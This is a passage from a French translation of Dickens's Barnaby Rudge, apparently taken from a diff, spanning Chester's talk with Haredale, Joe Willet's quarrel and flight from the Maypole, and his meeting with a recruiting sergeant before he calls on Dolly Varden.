+craindre d'attraper un rhume), que j'avais la tête et le coeur
+d'un mauvais génie en toute matière de déception. J'ai pensé
+alors, j'ai pensé réellement que vous me flattiez, mais maintenant
+je commence à m'étonner de votre discernement et, vanité à part,
+je crois sincèrement que vous disiez la vérité. Avez-vous jamais
+simulé l'extrême ingénuité et l'honnête indignation? Mon cher
+garçon, vous n'imaginez pas si vous ne l'avez jamais fait, combien
+un effort de ce genre fatigue un homme.»
+
+M. Haredale l'examina d'un regard de froid mépris.
+
+«Vous ne seriez pas fâché d'échapper à une explication, dit-il en
+croisant ses bras, mais il m'en faut une, je peux attendre.
+
+-- Pas du tout, pas du tout, mon bon monsieur, vous n'attendrez
+pas un moment, répliqua son ami en croisant nonchalamment ses
+jambes, c'est la chose la plus simple du monde, et l'explication
+ne sera pas longue: Ned a écrit une lettre, une enfantine,
+honnête, sentimentale composition qui est encore sur son pupitre
+parce qu'il n'a pas eu le coeur de l'envoyer. J'ai pris une
+liberté que mon affection et mon anxiété paternelle excusent
+suffisamment, et je me suis approprié la connaissance de ce que
+renferme cette lettre; je l'ai décrit à votre nièce (une personne
+enchanteresse, Haredale, une créature angélique), avec quelques
+traits et quelques couleurs adaptés à notre dessein. C'est une
+affaire faite, vous pouvez désormais être tranquille; c'est fini.
+Privés de leurs entremetteurs, l'orgueil et la jalousie de la
+jeune fille étant excités au plus haut degré, personne n'étant là
+pour la détromper, et vous y étant au contraire pour appuyer mes
+assertions, vous verrez que leurs rapports cesseront avec la
+réponse qu'elle va faire. Si elle reçoit la lettre de Ned demain
+vers midi, vous pouvez dater leur séparation de demain soir. Je ne
+vous demande pas de remercîment, vous ne m'en devez aucun; j'ai
+agi pour moi-même, et, si j'ai avancé les résultats de notre pacte
+avec toute l'ardeur que vous auriez pu désirer vous-même, je l'ai
+fait par pur égoïsme, eu vérité.
+
+-- Je maudis ce pacte, comme vous l'appelez, de tout mon coeur et
+de toute mon âme, répliqua l'autre; il a été fait dans une
+mauvaise heure. Je me suis engagé à un mensonge, je me suis ligué
+avec vous, et, quoique je l'aie fait par le plus légitime motif et
+qu'il m'en coûte un effort que peut-être peu d'hommes connaissent,
+je me hais et me méprise pour cette action.
+
+-- Vous vous échauffez beaucoup, dit M. Chester avec un sourire
+languissant.
+
+-- Oui, je m'échauffe. Votre sang-froid me rend fou. Morbleu!
+Chester, si votre sang coulait plus chaud dans vos veines, et si
+je n'étais pas astreint à des devoirs qui me contiennent et
+m'arrêtent... Allons, c'est fini; vous le dites, et sur une chose
+de ce genre je peux vous croire. Quand j'éprouverai des remords de
+cette perfidie, je penserai à vous et à votre mariage, et
+j'essayerai de me justifier par un tel souvenir, d'avoir séparé
+Emma et votre fils, à tout prix. Voilà notre contrat biffé
+maintenant, et nous n'avons plus qu'à nous quitter.»
+
+M. Chester lui adressa avec grâce un baiser de la main; et avec la
+figure tranquille qu'il avait conservée pendant cette scène, même
+quand il avait vu son compagnon torturé et transporté par la
+colère, au point que tout son corps en était ébranlé, il demeura
+sur son siège dans une attitude indolente, observant M. Haredale
+qui s'éloignait.
+
+«Mon bouc émissaire et mon souffre-douleur à l'école, dit-il en
+levant sa tête pour regarder après lui; mon ami d'autrefois, qui
+ne put pas s'assurer la maîtresse dont il avait gagné l'amour, et
+qui me rapprocha d'elle pour que je pusse mieux le supplanter. Je
+triomphe dans le présent et dans le passé. Aboie, pauvre chien
+galeux et pelé; la fortune a toujours été de mon côté; tes
+aboiements me font plaisir.»
+
+Le lieu où ils s'étaient rencontrés était une avenue d'arbres.
+M. Haredale, sans passer de l'autre côté, avait marché tout droit.
+Il tourna par hasard la tête quand il fut à une distance
+considérable, et voyant que son ancien camarade s'était levé
+depuis son départ et regardait après lui, il s'arrêta, croyant que
+peut-être l'autre avait envie de venir le rencontrer, et
+l'attendit de pied ferme.
+
+«Un jour, un jour peut-être, mais pas encore, se dit M. Chester en
+agitant sa main, comme s'ils eussent été les meilleurs amis, et se
+retournant pour s'éloigner. Pas encore, Haredale. La vie est assez
+agréable pour moi; pour vous elle est triste et pesante. Non.
+Croiser l'épée avec un pareil homme, se prêter ainsi à son humeur,
+à moins d'une extrémité, ce serait véritablement une faiblesse.»
+
+Malgré tout cela, il dégaina en s'en allant, et, sans y penser, il
+laissa courir vingt fois ses yeux de la garde de son épée à la
+pointe. Mais c'est la réflexion qui fait que l'on vit vieux. Il se
+rappela cet adage, remit son arme au fourreau, détendit son
+sourcil contracté, fredonna un air des plus gais et de l'humeur la
+plus enjouée lui-même, il redevint comme devant l'imperturbable
+M. Chester.
+
+
+
+
+CHAPITRE XXX.
+
+
+Il y a malheureusement des gens dont un proverbe populaire dit
+que, si vous leur accordez un pied, ils en prennent quatre. Sans
+citer les illustres exemples de ces héroïques fléaux de
+l'humanité, dont l'aimable chemin dans la vie a été tracé, depuis
+leur naissance jusqu'à leur mort, à travers le sang, le feu et les
+ruines, et qui semblent n'avoir existé que pour apprendre à
+l'humanité que, comme l'absence du mal est un bien, la terre,
+purgée de leur présence, peut être considérée comme un lieu de
+bénédiction; sans citer d'aussi puissants exemples, contentons-
+nous de celui du vieux John Willet.
+
+Le vieux John Willet ayant empiété un bon pouce, grande mesure,
+sur la liberté de Joe, et lui ayant rogné une grande aune de
+permission d'ouvrir la bouche, devint si despotique et si superbe,
+que sa soif de conquêtes ne connut plus de bornes. Plus le jeune
+Joe se soumit, plus le vieux John se montra absolu. L'aune fut
+bientôt réduite à néant: on en vint aux pieds, aux pouces, aux
+lignes; et le vieux John continua de la manière la plus plaisante
+à tailler dans le vif de ses réformes, à retrancher tous les jours
+quelque chose sur la liberté de parole ou d'action de son esclave,
+enfin à se conduire dans sa petite sphère avec autant de hauteur
+et de majesté que le plus glorieux tyran des temps anciens ou
+modernes qui ait jamais eu sa statue érigée sur la voie publique.
+
+De même que les grands hommes sont excités aux abus de pouvoir
+(quand ils ont besoin d'y être excités, ce qui n'arrive pas
+souvent) par leurs flatteurs et leurs subalternes, ainsi le vieux
+John fut poussé à ces empiétements d'autorité par
+l'applaudissement et l'admiration de ses compères du Maypole.
+Chaque soir, dans les intermèdes de leurs pipes et de leurs pots
+de bière, ils secouaient leurs têtes et disaient que M. Willet
+était un père de la bonne vieille roche anglaise; qu'il n'y avait
+pas à lui parler de ces inventions modernes de douceur paternelle,
+ni des méthodes du jour; qu'il leur rappelait exactement à tous ce
+qu'étaient leurs pères quand ils étaient petits garçons, et qu'il
+faisait bien; qu'il vaudrait mieux pour le pays qu'il y eût plus
+de pères comme lui, et que c'était pitié qu'il n'y en eût point
+davantage; avec beaucoup d'autres remarques originales de la même
+nature. Puis ils condescendaient à faire comprendre au jeune Joe
+que tout cela était pour son bien, et qu'il en serait
+reconnaissant un jour. M. Cobb, en particulier, l'informait que,
+quand il avait son âge, son père lui donnait un paternel coup de
+pied, un horion sur les oreilles, ou une taloche sur la tête, ou
+quelque petit avertissement de ce genre, comme il aurait fait
+toute autre chose; et il remarquait en outre, avec des regards
+très significatifs, que, s'il n'avait pas reçu cette judicieuse
+éducation, il n'aurait jamais pu devenir ce qu'il était. Et la
+conclusion n'était que trop probable, car il était devenu le chien
+le plus hargneux de toute la compagnie. Bref, entre le vieux John
+et les amis du vieux John, il n'y eut jamais un infortuné garçon,
+si rudoyé, si malmené, si tourmenté, si irrité, si harcelé, ni si
+abreuvé du dégoût de la vie que le pauvre Joe Willet.
+
+C'en était venu au point que c'était à présent l'état de choses
+officiel et légal; mais, comme le vieux John avait un vif désir de
+faire briller sa suprématie aux yeux de M. Chester, il se surpassa
+ce jour-là, et il aiguillonna et échauffa tellement son fils et
+héritier que, si Joe n'avait pris avec lui-même l'engagement
+solennel de garder ses mains dans ses poches lorsqu'elles
+n'étaient pas occupées d'une autre façon, il est impossible de
+dire ce qu'il en aurait fait peut-être. Mais la plus longue
+journée a son terme, et M. Chester finit par monter sur son
+cheval, qui était prêt devant la porte.
+
+Comme le vieux John ne se trouvait pas là en ce moment, Joe, qui,
+dans le comptoir, méditait sur son triste sort et sur les
+perfections innombrables de Dolly Varden, courut dehors pour tenir
+l'étrier à son hôte et l'aider à monter. M. Chester était à peine
+en selle, et Joe était en train de lui faire un gracieux salut,
+quand le vieux John, plongeant du porche dans la cour, saisit son
+fils au collet.
+
+«Pas de cela, monsieur, dit John, pas de cela, monsieur. Il ne
+faut point rompre votre engagement. Comment osez-vous, monsieur,
+franchir la porte sans permission? Vous cherchez à vous sauver,
+n'est-ce pas, monsieur, comme un parjure? Que prétendez-vous,
+monsieur?
+
+-- Lâchez-moi, père, dit Joe d'un air suppliant, lorsqu'il aperçut
+un sourire sur la figure du visiteur et qu'il observa le plaisir
+que lui procurait sa mésaventure. C'est trop fort aussi. Qui est-
+ce qui songe à se sauver?
+
+-- Qui est-ce qui songe à se sauver? cria John en le secouant. Eh
+mais, c'est vous, monsieur. C'est vous: c'est vous, petit
+polisson, monsieur, ajouta John, en le colletant d'une main et
+employant l'autre à faire au visiteur un salut d'adieu, c'est vous
+qui voulez vous glisser comme un serpent dans les maisons, et
+susciter des différends entre de nobles gentlemen et leurs fils;
+direz-vous que ce n'est pas vous, hein? Taisez-vous, monsieur.»
+
+Joe ne fit pas d'effort pour répliquer. Sa honte était consommée:
+la dernière goutte allait faire déborder le vase. Il se dégagea de
+l'étreinte de son père, lança un regard courroucé à l'hôte qui
+partait, et retourna dans l'auberge.
+
+«Si ce n'était pour elle, pensa Joe, en se jetant à une table dans
+la salle commune et laissant tomber sa tête sur ses bras; si ce
+n'était pour Dolly (car je ne pourrais supporter l'idée qu'elle
+pût me croire un mauvais sujet, comme ils ne manqueraient pas de
+le dire, si je me sauvais de la maison), le Maypole et moi nous
+nous séparerions cette nuit.»
+
+Le soir étant alors arrivé, Salomon Daisy, Tom Cobb et le long
+Parkes, étaient réunis dans la salle commune, d'où ils avaient été
+témoins par la fenêtre de toute la scène. M. Willet, les joignant
+bientôt après, reçut les compliments de ses compagnons avec un
+grand calme, alluma sa pipe, et s'assit parmi eux.
+
+«Nous verrons, messieurs, dit John après une longue pause qui est
+le maître ici et qui ne l'est pas. Nous verrons si ce sont les
+petits polissons qui doivent mener les hommes, ou si ce sont les
+hommes qui doivent mener les petits polissons.
+
+-- C'est vrai aussi, dit Salomon Daisy avec quelques inclinations
+de tête d'un caractère approbatif, vous avez raison. Johnny. Très
+bien, Johnny. Bien dit, monsieur Willet. _Brayvo_, monsieur.»
+
+John porta lentement ses yeux sur l'approbateur, le regarda
+longtemps, et finit par faire cette réponse qui consterna
+l'auditoire d'une manière inexprimable: «Quand je voudrai des
+encouragements de vous, monsieur, je vous en demanderai. Je vous
+prie de me laisser tranquille, monsieur. Je n'ai pas besoin de
+vous, j'espère. Ne vous frottez pas à moi, s'il vous plaît.
+
+-- Ne prenez point pas mal la chose, Johnny; je n'ai pas eu de
+mauvaise intention, dit le petit homme pour sa défense.
+
+-- Très bien, monsieur, dit John, plus obstiné que de coutume
+après sa dernière victoire. Ne vous occupez pas de ça, monsieur;
+je saurai bien me tenir tout seul, je pense, monsieur, sans que
+vous vous donniez la peine de me soutenir.» Et après cette
+riposte, M. Willet, fixant ses yeux sur le chaudron, tomba dans
+une sorte d'extase tabachique.
+
+L'entrain de la société se trouvant singulièrement amorti par la
+conduite embarrassante de leur hôte, on ne dit rien de plus
+pendant longtemps; mais enfin M. Cobb prit sur lui de remarquer,
+en se levant pour vider les cendres de sa pipe, qu'il espérait que
+Joe dorénavant apprendrait à obéir à son père en toutes choses,
+ayant vu ce jour-là que M. Willet n'était pas un homme avec lequel
+on pût badiner; et il ajouta qu'il lui recommandait, poétiquement
+parlant, de ne pas s'endormir sur le rôti.
+
+«Et vous, je vous recommande en revanche, dit, en levant les yeux,
+Joe dont la figure était toute rouge, de ne pas m'adresser la
+parole.
+
+-- Taisez-vous, monsieur, cria M. Willet, en se réveillant
+soudain, et se retournant.
+
+-- Je ne me tairai pas, père, cria Joe, en frappant du poing la
+table, et si fort que les verres et les pots dansèrent; c'est bien
+assez dur de souffrir de vous pareilles choses; je ne les
+endurerai plus de tout autre, quel qu'il soit. Ainsi je le répète,
+monsieur Cobb, ne m'adressez pas la parole.
+
+-- Eh mais, qui êtes-vous donc, dit M. Cobb d'un air narquois,
+pour qu'on ne puisse vous parler, hein, Joe?
+
+À cela Joe ne répondit pas; mais, avec un sombre hochement de tête
+qui n'était pas du tout de bon augure, il reprit sa position
+antérieure. Il l'aurait conservée paisiblement jusqu'à la
+fermeture de l'auberge au bout de la soirée; mais M. Cobb, stimulé
+par l'étonnement que causait à la société la présomption du jeune
+homme, riposta en lui décochant quelques brocards; c'était trop:
+la chair et le sang ne purent supporter cela. En un seul moment
+s'accumulèrent la vexation et le courroux de bien des années. Joe
+bondit, renversa la table, tomba sur son ennemi invétéré, le
+gourma de toute sa force et de toute son adresse, et finit par le
+lancer avec une rapidité surprenante contre un monceau de
+crachoirs dans un coin. M. Cobb y plongeant, la tête la première,
+avec un fracas terrible, resta étendu de tout son long parmi les
+ruines, abasourdi et sans mouvement. Alors le vainqueur,
+n'attendant pas que les spectateurs le complimentassent sur son
+triomphe, se retira dans sa chambre à coucher, et, se considérant
+comme en état de siège, il entassa contre la porte tous les
+meubles transportables, en guise de barricade.
+
+«Voilà qui est fait, dit Joe, en s'asseyant sur son bois de lit et
+essuyant sa figure échauffée. Je savais que j'en viendrais là. Le
+Maypole et moi, il faut que nous nous séparions. Je suis un
+vagabond, un coureur, elle me liait pour toujours. Tout est
+perdu!»
+
+
+
+
+CHAPITRE XXXI.
+
+
+Réfléchissant sur sa malheureuse destinée, Joe resta assis et
+écouta longtemps; il s'attendait à chaque instant à entendre
+l'escalier crier sous leurs pas ou à être salué des sommations de
+son digne père, exigeant qu'il capitulât sans condition et se
+rendît tout de suite. Mais ni voix ni pas ne vint jusqu'à lui, et,
+quoique des échos de portes qu'on fermait, de gens qui allaient et
+venaient dans les chambres avec précipitation, résonnant de temps
+en temps à travers les grands corridors et pénétrant au fond de sa
+solitude reculée, lui fissent comprendre qu'il y avait en bas un
+bouleversement extraordinaire, aucun son plus rapproché ne troubla
+le lieu de sa retraite, qui semblait encore plus paisible à cause
+de ces bruits lointains, et qui était triste et sombre comme la
+cellule d'un ermite.
+
+Il fit de plus en plus noir. Le gothique ameublement de cette
+chambre, espèce d'hôpital des invalides pour les meubles de la
+maison, devint indistinct et fantastique. Les chaises et les
+tables, qui étaient dans le jour d'aussi honnêtes estropiées que
+possible, prirent un caractère équivoque et mystérieux, et un
+vieux lépreux de paravent en cuir terni de l'Inde, avec bordure
+d'or, qui jadis avait tenu en respect plus d'un courant d'air
+dangereux et servi de rempart à plus d'une joyeuse figure, le
+regardait d'un air rébarbatif et spectral, et se tenait de toute
+sa hauteur dans les coins qu'on lui avait assigné, semblable à
+quelque maigre fantôme qui attendait qu'on lui adressât des
+questions. Un portrait en face de la fenêtre, portrait bizarre
+d'un vieux général aux yeux gris, dans un cadre ovale, semblait
+cligner de l'oeil et s'assoupir à mesure que le jour baissait; et
+enfin, quand la dernière des faibles taches lumineuses du jour
+s'évanouit, il parut fermer les yeux de bon coeur et s'endormir
+solidement. Il y avait là un tel silence et un tel mystère autour
+de toute chose, que Joe ne put s'empêcher d'en suivre l'exemple.
+Il se livra donc au sommeil comme tout le reste et rêva de Dolly,
+jusqu'à ce que l'horloge de l'église de Chigwell sonna deux
+heures.
+
+Personne ne vint encore. Les bruits lointains de la maison avaient
+cessé; au dehors tout était également tranquille, sauf lorsque
+aboyait par hasard un chien à large gueule, ou lorsque le vent
+agitait les branches des arbres. Il regarda mélancoliquement, de
+la fenêtre ouverte, chaque objet bien connu qui gisait endormi à
+l'obscure lueur de la lune; puis se traînant vers le siège qu'il
+avait quitté, il pensa à l'algarade de la veille, tant qu'après y
+avoir pensé longtemps, il lui sembla qu'un mois s'était écoulé
+depuis cette scène. Tandis qu'il s'assoupissait, méditait, allait
+à la fenêtre et regardait au dehors, la nuit se passa; le vieux
+paravent rébarbatif, les chaises et les tables ses contemporaines,
+commencèrent lentement à se révéler dans leurs formes accoutumées;
+le général aux yeux gris recommença à cligner de l'oeil, à
+bâiller, à se réveiller, et enfin, quand il fut réveillé tout à
+fait, il se montra mal à son aise, transi de froid et l'air
+hagard, à la triste lumière grisâtre du matin.
+
+Le soleil perçait déjà au-dessus des arbres de la forêt; déjà
+s'étendaient à travers le brouillard onduleux de brillantes barres
+d'or, quand Joe jeta de la fenêtre sur le sol un petit paquet avec
+son fidèle bâton, et se prépara à descendre lui-même.
+
+Ce n'était pas une tâche bien difficile, car il y avait là tout du
+long tant de saillies et tant de bouts de chevrons, que cela
+faisait presque un escalier rustique, d'où il ne restait plus à
+faire qu'un saut de quelques pieds pour être en bas.
+
+Joe se trouva bientôt sur la terre ferme, son bâton à la main, son
+paquet sur l'épaule, et il leva les yeux pour regarder le vieux
+Maypole, peut-être pour la dernière fois.
+
+Il ne l'apostropha pas d'un adieu solennel, comme aurait pu le
+faire un vétéran de rhétorique; il ne le maudit pas non plus, car
+il n'avait pas dans son coeur le moindre fiel contre quoi que ce
+fut au monde. Il éprouvait au contraire plus d'affection et de
+tendresse à son égard qu'il n'en avait jamais éprouvé dans toute
+sa vie. Il lui dit donc de tout son coeur: «Dieu vous bénisse!»
+comme souhait d'adieu, se détourna et s'éloigna.
+
+Il se mit en route d'un bon pas. Il était plein de grandes
+pensées: il voulait être soldat, mourir dans quelque contrée
+étrangère où il y eût beaucoup de chaleur et beaucoup de sable, et
+laisser en mourant Dieu sait quelles richesses inouïes de ses
+parts de prise à Dolly, qui serait fort affectée lorsqu'elle
+viendrait à le savoir. Rempli de ces visions de jeune homme,
+quelquefois ardentes, quelquefois mélancoliques, mais qui avaient
+toujours la jeune fille pour point central, il poussa en avant
+avec vigueur, jusqu'à ce que le tapage de Londres retentit à ses
+oreilles, et que l'enseigne du Lion Noir se dressa à ses yeux.
+
+Il n'était alors que huit heures, et le Lion Noir fut très étonné
+en le voyant entrer les pieds couverts de poussière à cette heure
+matinale, et sans la jument grise encore, pour lui tenir au moins
+compagnie. Mais Joe ayant demandé qu'on lui servît à déjeuner le
+plus tôt possible, et ayant donné, quand le déjeuner eut été placé
+devant lui, d'incontestables témoignages d'un appétit excellent,
+le Lion lui fit comme de coutume un accueil hospitalier, et le
+traita avec ces marques de distinction auxquelles, à titre de
+pratique régulière et de membre de la franc-maçonnerie du métier,
+il avait tous les droits du monde.
+
+Ce Lion ou cet aubergiste, car on appelait ainsi l'homme du nom de
+la bête, pour avoir prescrit à l'artiste qui avait peint son
+enseigne de mettre tout ce qu'il avait de talent d'invention et
+d'exécution à faire passer, avec autant d'exactitude que possible,
+dans les traits du roi des animaux dont elle portait l'effigie,
+une contrefaçon de sa propre figure, était un gentleman presque
+égal par la promptitude de son intelligence et la subtilité de son
+esprit au puissant John lui-même. Mais voici en quoi consistait
+entre eux la différence: c'est que, tandis que l'extrême sagacité
+et l'extrême finesse de M. Willet résultaient des efforts d'une
+nature spontanée, le lion semblait devoir la moitié de ses moyens
+à la bière, dont il absorbait de si copieuses gorgées que la
+plupart de ses facultés étaient complètement noyées et entraînées
+par ce liquide, sauf une seule, la grande faculté du sommeil,
+qu'il conservait à un degré de perfection surprenant. Le Lion qui
+craquait au vent au-dessus de la porte de la taverne était donc, à
+dire la vérité, un lion assoupi, apprivoisé, sans vigueur; et,
+comme ces représentants sociaux d'une classe sauvage offrent
+habituellement un caractère conventionnel (étant peints, en
+général, dans des attitudes impossibles et avec des couleurs qui
+ne sont pas de ce monde), les plus ignorants et les plus mal
+informés du voisinage croyaient fréquemment voir en lui le
+portrait véritable de l'aubergiste en costume officiel pour
+quelque grande cérémonie funèbre, ou pour un deuil public.
+
+«Quel est donc le gaillard qui fait tant de bruit dans la salle
+voisine? dit Joe, lorsqu'il eut déjeuné et qu'il se fut levé et
+brossé.
+
+-- Un sergent recruteur, répliqua le Lion.»
+
+Joe tressaillit involontairement. Il rencontrait là tout juste
+l'objet de ses rêvasseries tout le long du chemin.
+
+«Et je souhaiterais, dit le Lion, qu'il fût bien loin d'ici. Ces
+gens-là et leur bande font beaucoup de bruit, mais ne consomment
+guère. Des cris et du tapage, tant qu'on en veut, mais de
+l'argent, bonsoir. Votre père n'aime pas ces chalands-là, je le
+sais.»
+
+Peut-être ne les aimait-il guère, en effet, en aucune
+circonstance: mais peut-être, s'il eût pu savoir ce qui se passait
+en ce moment dans l'esprit de Joe, les eût-il moins aimés que
+jamais.
+
+«Il recrute pour un ..., pour un beau régiment? dit Joe en donnant
+un coup d'oeil à un petit miroir rond suspendu dans le comptoir.
+
+-- Oui, je crois, répliqua l'hôte; c'est à peu près la même chose,
+n'importe le régiment pour lequel il recrute. Je me suis laissé
+dire qu'il n'y a pas grande différence entre un bel homme et un
+autre, quand ils attrapent une balle dans le ventre.
+
+-- Tout le monde n'attrape pas une balle, dit Joe.
+
+-- Non, répondit le Lion, pas tout le monde, et ceux-là qui sont
+tués, en supposant que leur affaire soit bientôt faite, sont les
+plus heureux dans mon opinion.
+
+-- Ah! riposta Joe, vous n'avez donc nul souci de la gloire?
+
+-- Souci de quoi? dit le Lion.
+
+-- De la gloire.
+
+-- Non, répliqua le Lion avec une suprême indifférence. Je n'en ai
+nul souci. Vous avez raison en cela, monsieur Willet. Quand la
+gloire viendra ici me demander quelque chose à boire, et me
+changera une guinée pour le payer, je le lui donnerai pour rien.
+Voyez-vous, monsieur, je crois qu'une auberge qui veut faire ses
+affaires fera aussi bien de prendre un lion noir pour enseigne que
+non pas «les armes de la gloire.»
+
+Ces remarques n'étaient pas du tout encourageantes, Joe sortit du
+comptoir, s'arrêta à la porte de la salle voisine, et écouta. Le
+sergent décrivait la vie militaire. On ne faisait que boire,
+disait-il, excepté qu'il y avait de grands intervalles pour manger
+et faire l'amour. Une bataille était la plus belle chose du monde,
+quand votre côté la gagnait, et les Anglais gagnaient toujours.
+
+«Supposons que vous seriez tué, monsieur? dit une voix timide dans
+un coin.
+
+-- Eh bien, monsieur, supposons que vous le seriez, dit le
+sergent, qu'arrive-t-il alors? Votre pays vous aime, monsieur; S.
+M. le roi Georges III vous aime; votre mémoire est honorée,
+révérée, respectée; tout le monde a de la tendresse pour vous, de
+la reconnaissance pour vous; votre nom est couché tout au long
+dans un livre au ministère de la guerre. Dieu me damne, gentleman,
+ne devons-nous pas tous mourir un jour ou l'autre, hein?»
+
+La voix toussa et ne dit plus rien.
+
+Joe entra dans la salle. Une demi-douzaine de gars s'y étaient
+réunis et groupés; ils écoutaient d'une oreille avide. L'un d'eux,
+un charretier en blouse, avait l'air d'hésiter encore, quoique
+disposé à s'enrôler. Le reste, qui n'était nullement disposé à en
+faire autant, le pressait vivement de prendre ce parti (voilà bien
+les hommes!), appuyait les arguments du sergent, et ricanait
+ensemble.
+
+«Il n'y a pas besoin, mes amis, dit le sergent, qui était assis un
+peu à l'écart, à boire sa liqueur, d'en dire bien long pour des
+lurons résolus (ici il jeta un regard sur Joe), mais voilà le vrai
+moment. Je ne veux pas vous enjôler. Le roi n'en est pas réduit
+là, j'espère. Ce qu'il nous faut, ce n'est pas du sang de navet,
+c'est un sang jeune et bouillant. Nous ne prenons point des hommes
+de pacotille. Il nous faut des gens d'élite. Je ne viens pas vous
+compter des gausses d'écolier; mais! Dieu me damne, si je vous
+citais tous les fils de gentlemen qui servent dans notre corps,
+après quelques peccadilles peut-être ou quelques castilles avec
+les papas...»
+
+Ici son regard se porta encore sur Joe, et avec tant de bonhomie,
+que Joe lui fit signe de sortir. Il sortit tout de suite.
+
+«Vous êtes un gentleman, sacrebleu, lui dit-il d'abord en lui
+donnant une claque sur le dos. Vous êtes un gentleman déguisé, moi
+aussi; jurons-nous amitié.»
+
+Joe ne fit pas exactement comme cela, mais il lui donna une
+poignée de main, et le remercia de sa bonne opinion.
+
+«Vous désirez servir? dit son nouvel ami. Vous servirez, vous êtes
+fait pour le service. Vous êtes né pour être un des nôtres. Que
+voulez-vous boire?
+
+-- Rien pour le moment, répliqua Joe avec un faible sourire. Je ne
+suis pas encore tout à fait décidé.
+
+-- Un garçon plein d'ardeur comme vous, et qui n'est pas décidé!
+cria le sergent. Tenez! laissez-moi sonner; vous serez décidé dans
+une demi-minute, j'en suis sûr.
+
+-- Vous êtes bien dans l'erreur, répliqua Joe: car, si vous sonnez
+ici où je suis connu, vous allez faire évaporer en un clin d'oeil
+ma vocation militaire. Regardez-moi en face. Vous me voyez bien,
+n'est-ce pas?
+
+-- Si je vous vois! répliqua le sergent avec un juron; jamais plus
+beau garçon ni plus propre à servir son roi et son pays n'a frappé
+mes... yeux, ajouta-t-il en intercalant une épithète de troupier.
+
+-- Je vous remercie, dit Joe, je ne vous ai pas demandé cela pour
+avoir de vous un compliment, mais je vous remercie tout de même.
+Ai-je l'air d'un poltron ou d'un menteur?»
+
+Le sergent répondit avec beaucoup de protestations flatteuses
+qu'il n'en avait pas l'air, et que si son propre père, à lui,
+sergent, était là soutenant qu'il en avait l'air, il passerait de
+bon coeur son épée au travers du corps du vieux gentleman et
+croirait faire un acte méritoire.
+
+Joe lui exprima combien il lui était obligé et continua:
+
+«Vous pouvez vous fier à moi, et compter sur ce que je vous dis.
+Je crois que je m'enrôlerai ce soir dans votre régiment. Si je ne
+le fais pas maintenant, c'est que je n'ai pas besoin de prendre
+avant ce soir un engagement qui ne pourra plus être rétracté. Où
+vous trouverai-je donc dans la soirée?»
+
+Son ami répliqua avec quelque répugnance, et après beaucoup
+d'inutiles instances pour régler immédiatement l'affaire, que son
+quartier général était à _la Bûche Tortue_, dans Tower-Street, où
+on le trouverait éveillé jusqu'à minuit, et dormant jusqu'au
+lendemain à l'heure du déjeuner.
+
+«Et si je vais vous rejoindre (il y a un million à parier contre
+un que j'irai), quand m'emmènerez-vous de Londres? demanda Joe.
+
+-- Demain matin, à huit heures et demie, répliqua le sergent, vous
+partirez pour l'étranger... pour une contrée où tout est soleil et
+pillage... le plus beau climat du monde.
+
+-- Partir pour l'étranger, dit Joe en donnant une poignée de main,
+c'est précisément ce que je souhaite. Vous pouvez m'attendre.
+
+-- Vous êtes un des lurons qu'il nous faut, cria le sergent,
+retenait la main de Joe dans l'excès de son enthousiasme. Vous
+êtes un luron à faire vite votre chemin. Je ne dis pas ça par
+jalousie ou parce que je voudrais diminuer en rien l'honneur de
+vos succès; mais, si j'avais été élevé et instruit comme vous, je
+serais à présent colonel.
+
+-- À d'autres, l'ami! dit Joe; je ne suis pas si nigaud que vous
+croyez. Il y a nécessité quand le diable vous pousse, et le diable
+qui me pousse, c'est une bourse vide et des contrariétés à la
+maison. Pour l'instant, adieu.
+
+-- Vivent le roi et le pays! cria le sergent en agitant son
+drapeau.
+
+-- Vivent le pain et la viande!» cria Joe en faisant claquer ses
+doigts. Et c'est ainsi qu'ils se séparèrent.
+
+Il avait très peu d'argent dans sa poche, si peu en vérité que,
+après avoir payé son déjeuner (car il était trop honnête et peut-
+être aussi trop fier pour laisser l'écot à la charge de son père),
+il ne lui restait qu'un penny. Il eut néanmoins le courage de
+résister à toutes les affectueuses importunités du sergent, qui le
+conduisit jusqu'à la porte avec beaucoup de protestations
+d'éternelle amitié et le pria en particulier de lui faire la
+faveur d'accepter un seul et unique shilling d'avance sur son
+engagement. Rejetant à la fois ses offres d'espèces et de crédit,
+Joe s'en alla comme il était venu, avec son bâton et son paquet,
+déterminé à passer sa journée le mieux qu'il pourrait, et à se
+rendre chez le serrurier le soir à la brune; car il ne voulait pas
+après tout partir sans dire un mot d'adieu à la charmante Dolly
+Varden.
+
+Il sortit de Londres par Islington et poussa jusqu'à Highgate; il
+s'assit sur bien des pierres, devant bien des portes, mais il
+n'entendit pas les cloches lui dire de s'en retourner. C'était bon
+du temps du noble Whittington, la fine fleur des marchands; mais
+les cloches ont fini par avoir moins de sympathie pour l'humanité.
+Elles ne sonnent que pour de l'argent et dans des occasions
+solennelles. Le nombre des émigrants s'est accru; des vaisseaux
+quittent la Tamise pour de lointaines régions, n'ayant pas d'autre
+cargaison de la poupe à la proue, et les cloches restent
+silencieuses, elles ne sonnent plus ni supplications ni regrets;
+elles sont accoutumées aux départs, et se sont faites aux usages
+du monde.
+
+Joe acheta un petit pain, et réduisit sa bourse (sauf une
+différence) à la condition de la célèbre bourse de Fortunatus,
+laquelle contenait toujours la même somme, quels que fussent les
+besoins de son possesseur privilégié. Dans nos temps plus
+réalistes, où les fées sont mortes et enterrées, il y a encore une
+foule de bourses qui ont la même vertu. Le total qu'elles
+contiennent s'expriment en arithmétique par un cercle vicieux
+qu'on peut additionner ou multiplier par sa propre somme sans
+changer le résultat du problème résultat clair et net s'il en fut
+jamais: 0 X 0 = 0.
+
+Le soir arriva enfin. Avec le sentiment de désolation d'un homme
+qui n'avait ni feu ni lieu, et qui était complètement seul dans le
+monde pour la première fois, il se dirigea vers la maison du
+serrurier. Il avait différé jusqu'à cette heure, sachant que
+Mme Varden allait quelquefois seule, ou accompagnée seulement de
+Miggs, entendre des sermons du soir, et espérant ardemment que ce
+serait peut-être une de ses soirées de culture morale.
+
+Il se promena deux ou trois fois de long en large devant la
+maison, de l'autre côté de la rue; et, comme il revenait sur ses
+pas, il entrevit soudain une jupe qui flottait à la porte. C'était
+celle de Dolly; à quelle autre pouvait-elle appartenir? il n'y
+avait que sa robe pour avoir cette tournure. Il s'arma donc de
+tout son courage, et suivit la jupe dans l'atelier de la Clef
+d'Or.
+
+Comme il boucha le jour de la porte en entrant, Dolly se retourna
+pour regarder. «Oh quelle figure! ma foi je ne regrette pas, pensa
+Joe, d'être tombé sur ce pauvre Tom Cobb. Elle est vingt fois plus
+belle que jamais. Elle épouserait un lord qu'elle lui ferait
+honneur.»
+
+Il ne le dit pas, il se contenta de le penser; peut-être était-ce
